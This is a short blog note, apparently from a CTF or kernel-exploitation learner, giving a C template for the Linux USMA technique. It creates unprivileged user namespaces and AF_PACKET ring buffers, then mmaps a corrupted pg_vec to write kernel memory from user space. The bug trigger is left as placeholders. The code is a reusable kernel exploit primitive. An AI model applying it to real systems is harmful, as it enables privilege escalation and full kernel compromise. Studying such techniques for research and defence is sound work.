[ayoung@blog posts]$ cat ./USMA.md

USMA

[Last modified: 2026-02-09]

板子

使用: 通过漏洞修改pgv中的地址为想要的内核地址,再进行mmap,就能在用户空间直接修改内核数据

void unshare_setup()
{
    int temp_fd;
    uid_t uid = getuid();
    gid_t gid = getgid();
    char buffer[0x100];

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET))
    {
        die("unshare(CLONE_NEWUSER | CLONE_NEWNS)");
    }

    temp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(temp_fd, "deny", strlen("deny"));
    close(temp_fd);

    temp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
    write(temp_fd, buffer, strlen(buffer));
    close(temp_fd);

    temp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
    write(temp_fd, buffer, strlen(buffer));
    close(temp_fd);
    return;
}
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{
    struct tpacket_req req;
    int socket_fd, version;
    int ret;

    socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socket_fd < 0)
    {
        printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
        ret = socket_fd;
        goto err_out;
    }

    version = TPACKET_V1;
    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
    if (ret < 0)
    {
        die("[x] failed at setsockopt(PACKET_VERSION)\n");
        goto err_setsockopt;
    }

    memset(&req, 0, sizeof(req));
    req.tp_block_size = size;
    req.tp_block_nr = nr;
    req.tp_frame_size = 0x1000;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
    if (ret < 0)
    {
        die("[x] failed at setsockopt(PACKET_TX_RING)\n");
        goto err_setsockopt;
    }

    return socket_fd;

err_setsockopt:
    close(socket_fd);
err_out:
    return ret;
}
int packet_socket_setup(uint32_t block_size, uint32_t frame_size,
                        uint32_t block_nr, uint32_t sizeof_priv, int timeout)
{
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0)
    {
        perror("[-] socket (AF_PACKET)");
        exit(1);
    }

    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0)
    {
        perror("[-] setsockopt (PACKET_VERSION)");
        exit(1);
    }

    struct tpacket_req3 req3;
    memset(&req3, 0, sizeof(req3));
    req3.tp_sizeof_priv = sizeof_priv;
    req3.tp_block_nr = block_nr;
    req3.tp_block_size = block_size;
    req3.tp_frame_size = frame_size;
    req3.tp_frame_nr = (block_size * block_nr) / frame_size;
    req3.tp_retire_blk_tov = timeout;
    req3.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3));
    if (rv < 0)
    {
        perror("[-] setsockopt (PACKET_RX_RING)");
        exit(1);
    }

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_halen = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0)
    {
        perror("[-] bind (AF_PACKET)");
        exit(1);
    }

    return s;
}

int main(){
	...
	unshare_setup();
	int block_nr = ?? / 0x8;
    // count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8                  
    // 第一个参数 block_size/4096 为要分配的 order        
    int packet_fds = packet_socket_setup(0x1000, 0x800, block_nr, 0, 1000);
	...
	xxx // overwrite pg_vec
	char *page = mmap(NULL, 0x1000 * block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds, 0);
    if (page < 0)
    {
        die("page");
    }

	page[??] = ??; // arb_write
	...

}